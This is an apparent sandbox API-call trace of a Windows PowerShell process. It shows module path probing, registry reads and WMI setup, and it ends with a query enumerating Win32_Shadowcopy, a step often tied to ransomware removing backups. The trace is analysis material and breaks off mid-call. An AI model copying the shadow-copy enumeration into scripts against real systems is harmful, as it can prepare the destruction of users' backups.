[0245.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bd4e8) returned 1 [0245.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x87bd564 | out: lpFileInformation=0x87bd564*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0245.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bd4e4) returned 1 [0245.238] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0245.241] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0245.253] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0245.254] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0245.254] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0245.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bd4e8) returned 1 [0245.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x87bd564 | out: lpFileInformation=0x87bd564*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0245.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bd4e4) returned 1 [0245.260] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0245.263] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0245.263] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0245.264] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0245.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87bd4e8) returned 1 [0245.264] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x87bd564 | out: lpFileInformation=0x87bd564*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0245.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87bd4e4) returned 1 [0245.369] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0246.736] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0246.736] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0246.737] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0246.737] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0246.737] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0246.737] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0247.777] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x87be3ac | out: phkResult=0x87be3ac*=0x7bc) returned 0x0 [0247.799] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x0, lpcbData=0x87be3c8*=0x0 | out: lpType=0x87be3cc*=0x1, lpData=0x0, lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.799] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x521d8bc, lpcbData=0x87be3c8*=0x56 | out: lpType=0x87be3cc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.799] RegCloseKey (hKey=0x7bc) returned 0x0 [0247.800] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x87be3ac | out: phkResult=0x87be3ac*=0x7bc) returned 0x0 [0247.801] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x0, lpcbData=0x87be3c8*=0x0 | out: lpType=0x87be3cc*=0x1, lpData=0x0, lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.801] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x521dbd0, lpcbData=0x87be3c8*=0x56 | out: lpType=0x87be3cc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.801] RegCloseKey (hKey=0x7bc) returned 0x0 [0247.801] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x87be3ac | out: phkResult=0x87be3ac*=0x7bc) returned 0x0 [0247.803] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x0, lpcbData=0x87be3c8*=0x0 | out: lpType=0x87be3cc*=0x1, lpData=0x0, lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.803] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x521ded8, lpcbData=0x87be3c8*=0x56 | out: lpType=0x87be3cc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.803] RegCloseKey (hKey=0x7bc) returned 0x0 [0247.803] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x87be3ac | out: phkResult=0x87be3ac*=0x7bc) returned 0x0 [0247.804] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x0, lpcbData=0x87be3c8*=0x0 | out: lpType=0x87be3cc*=0x1, lpData=0x0, lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.804] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be3cc, lpData=0x521e1ec, lpcbData=0x87be3c8*=0x56 | out: lpType=0x87be3cc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x87be3c8*=0x56) returned 0x0 [0247.804] RegCloseKey (hKey=0x7bc) returned 0x0 [0247.805] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x87be3f8 | out: phkResult=0x87be3f8*=0x7bc) returned 0x0 [0247.807] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be418, lpData=0x0, lpcbData=0x87be414*=0x0 | out: lpType=0x87be418*=0x1, lpData=0x0, lpcbData=0x87be414*=0x56) returned 0x0 [0247.807] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x87be418, lpData=0x521e534, lpcbData=0x87be414*=0x56 | out: lpType=0x87be418*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x87be414*=0x56) returned 0x0 [0247.807] RegCloseKey (hKey=0x7bc) returned 0x0 [0247.823] CoTaskMemAlloc (cb=0x20c) returned 0x7883460 [0247.823] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x7883460 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0247.823] CoTaskMemFree (pv=0x7883460) [0247.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0247.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0248.080] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87be53c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87be53c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xaa, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0248.085] SetEvent (hEvent=0x7a4) returned 1 [0248.085] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x87be74c*=0x7a4, lpdwindex=0x87be56c | out: lpdwindex=0x87be56c) returned 0x0 [0248.101] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87be6e0, nSize=0xc3 | out: lpBuffer="ࡻ狌ࡻࡻࡻңȀ溘ࡻᆪ狌䷜滐τĝ") returned 0x0 [0248.107] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0248.107] GetFileType (hFile=0x94) returned 0x2 [0248.107] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x87be880 | out: lpMode=0x87be880) returned 1 [0248.233] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be840 | out: lpConsoleScreenBufferInfo=0x87be840) returned 1 [0248.242] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87be840 | out: lpConsoleScreenBufferInfo=0x87be840) returned 1 [0248.530] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87be7a0, nSize=0xc3 | out: lpBuffer="ࡻ肈猦￿￿狌狌ࡻࡻ᫠濅ࡻ狌ࡻࡻࡻҧȀ᫠濅ࡻᆪ狌䷜滐τĝ") returned 0x0 [0250.766] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87beb0c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87beb0c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfc, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0250.766] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bea78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bea78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xaa, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0250.766] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfc, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfc, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0250.935] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87beb0c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87beb0c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfd, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0250.935] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bea78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bea78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfc, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0250.935] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfd, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfd, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0251.009] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6e4 [0251.011] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7bc [0251.098] SetEvent (hEvent=0x7bc) returned 1 [0251.101] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x87be7a8*=0x6e4, lpdwindex=0x87be5c4 | out: lpdwindex=0x87be5c4) returned 0x0 [0251.368] CoGetContextToken (in: pToken=0x87be678 | out: pToken=0x87be678) returned 0x0 [0251.371] CoGetContextToken (in: pToken=0x87be5d8 | out: pToken=0x87be5d8) returned 0x0 [0251.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x87be6a8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x87be6a4 | out: ppvObject=0x87be6a4*=0x78dc638) returned 0x0 [0251.372] WbemDefPath:IUnknown:AddRef (This=0x78dc638) returned 0x3 [0251.372] WbemDefPath:IUnknown:Release (This=0x78dc638) returned 0x2 [0251.384] WbemDefPath:IWbemPath:SetText (This=0x78dc638, uMode=0x4, pszPath="\\\\localhost\\root\\cimv2") returned 0x0 [0251.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x78dc638, puCount=0x87be824 | out: puCount=0x87be824*=0x2) returned 0x0 [0251.388] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=4, puBuffLength=0x87be820*=0x0, pszText=0x0 | out: puBuffLength=0x87be820*=0x17, pszText=0x0) returned 0x0 [0251.389] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=4, puBuffLength=0x87be820*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x87be820*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0251.394] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x78dc638, puCount=0x87be828 | out: puCount=0x87be828*=0x2) returned 0x0 [0251.394] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=4, puBuffLength=0x87be824*=0x0, pszText=0x0 | out: puBuffLength=0x87be824*=0x17, pszText=0x0) returned 0x0 [0251.394] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=4, puBuffLength=0x87be824*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x87be824*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0251.448] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x87be6bc*=0x7f8, lpdwindex=0x87be56c | out: lpdwindex=0x87be56c) returned 0x0 [0261.815] CoGetContextToken (in: pToken=0x87be578 | out: pToken=0x87be578) returned 0x0 [0261.815] CoGetContextToken (in: pToken=0x87be4d8 | out: pToken=0x87be4d8) returned 0x0 [0261.815] CoGetContextToken (in: pToken=0x87be4d8 | out: pToken=0x87be4d8) returned 0x0 [0261.815] CoGetContextToken (in: pToken=0x87be480 | out: pToken=0x87be480) returned 0x0 [0261.815] IUnknown:QueryInterface (in: This=0x11bb078, riid=0x72d8f070*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be45c | out: ppvObject=0x87be45c*=0x11bb088) returned 0x0 [0261.815] CObjectContext::ContextCallback () returned 0x0 [0262.249] IUnknown:Release (This=0x11bb088) returned 0x1 [0262.250] CoUnmarshalInterface (in: pStm=0x7673608, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x87be4cc | out: ppv=0x87be4cc*=0x76b1a8c) returned 0x0 [0262.251] CoMarshalInterface (pStm=0x7673608, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x76b1a8c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0262.251] WbemLocator:IUnknown:QueryInterface (in: This=0x76b1a8c, riid=0x87be5a8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x87be5a4 | out: ppvObject=0x87be5a4*=0x7611428) returned 0x0 [0262.254] WbemLocator:IUnknown:Release (This=0x76b1a8c) returned 0x1 [0262.254] IWbemServices:ExecQuery (in: This=0x7611428, strQueryLanguage="WQL", strQuery="select * from Win32_Shadowcopy", lFlags=16, pCtx=0x0, ppEnum=0x87be784 | out: ppEnum=0x87be784*=0x1261d90) returned 0x0 [0262.265] IUnknown:QueryInterface (in: This=0x1261d90, riid=0x6cb3352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be5e0 | out: ppvObject=0x87be5e0*=0x1261d94) returned 0x0 [0262.265] IClientSecurity:QueryBlanket (in: This=0x1261d94, pProxy=0x1261d90, pAuthnSvc=0x87be630, pAuthzSvc=0x87be62c, pServerPrincName=0x87be624, pAuthnLevel=0x87be628, pImpLevel=0x87be618, pAuthInfo=0x87be61c, pCapabilites=0x87be620 | out: pAuthnSvc=0x87be630*=0xa, pAuthzSvc=0x87be62c*=0x0, pServerPrincName=0x87be624, pAuthnLevel=0x87be628*=0x6, pImpLevel=0x87be618*=0x2, pAuthInfo=0x87be61c, pCapabilites=0x87be620*=0x1) returned 0x0 [0262.265] IUnknown:Release (This=0x1261d94) returned 0x1 [0262.265] IUnknown:QueryInterface (in: This=0x1261d90, riid=0x6cb3351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be5d4 | out: ppvObject=0x87be5d4*=0x76b118c) returned 0x0 [0262.266] IUnknown:QueryInterface (in: This=0x1261d90, riid=0x6cb3352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be5c0 | out: ppvObject=0x87be5c0*=0x1261d94) returned 0x0 [0262.266] IClientSecurity:SetBlanket (This=0x1261d94, pProxy=0x1261d90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0262.520] IUnknown:Release (This=0x1261d94) returned 0x2 [0262.520] WbemLocator:IUnknown:Release (This=0x76b118c) returned 0x1 [0262.521] CoTaskMemFree (pv=0x78cd998) [0262.521] IUnknown:AddRef (This=0x1261d90) returned 0x2 [0262.522] CoGetContextToken (in: pToken=0x87bdaf8 | out: pToken=0x87bdaf8) returned 0x0 [0262.522] IUnknown:QueryInterface (in: This=0x11bb130, riid=0x72d75e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87bdab4 | out: ppvObject=0x87bdab4*=0x11bb13c) returned 0x0 [0262.522] IComThreadingInfo:GetCurrentApartmentType (in: This=0x11bb13c, pAptType=0x87bdae4 | out: pAptType=0x87bdae4*=3) returned 0x0 [0262.522] IUnknown:Release (This=0x11bb13c) returned 0x0 [0262.522] CoGetObjectContext (in: riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x78f318c | out: ppv=0x78f318c*=0x11bb130) returned 0x0 [0262.523] CoGetContextToken (in: pToken=0x87bdf00 | out: pToken=0x87bdf00) returned 0x0 [0262.523] IUnknown:QueryInterface (in: This=0x1261d90, riid=0x72d902b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87bde98 | out: ppvObject=0x87bde98*=0x76b1170) returned 0x0 [0262.523] WbemLocator:IRpcOptions:Query (in: This=0x76b1170, pPrx=0x78f3080, dwProperty=2, pdwValue=0x87bdf98 | out: pdwValue=0x87bdf98) returned 0x80004002 [0262.523] WbemLocator:IUnknown:Release (This=0x76b1170) returned 0x2 [0262.523] CoGetContextToken (in: pToken=0x87be4e0 | out: pToken=0x87be4e0) returned 0x0 [0262.523] CoGetContextToken (in: pToken=0x87be440 | out: pToken=0x87be440) returned 0x0 [0262.524] IUnknown:QueryInterface (in: This=0x1261d90, riid=0x87be510*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x87be3d8 | out: ppvObject=0x87be3d8*=0x1261d90) returned 0x0 [0262.524] IUnknown:Release (This=0x1261d90) returned 0x2 [0262.524] WbemLocator:IUnknown:Release (This=0x7611428) returned 0x0 [0262.615] SysStringLen (param_1=0x0) returned 0x0 [0262.616] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x78dc638, puCount=0x87be7d0 | out: puCount=0x87be7d0*=0x2) returned 0x0 [0262.616] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=4, puBuffLength=0x87be7cc*=0x0, pszText=0x0 | out: puBuffLength=0x87be7cc*=0x17, pszText=0x0) returned 0x0 [0262.616] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=4, puBuffLength=0x87be7cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x87be7cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0262.616] CoGetContextToken (in: pToken=0x87be620 | 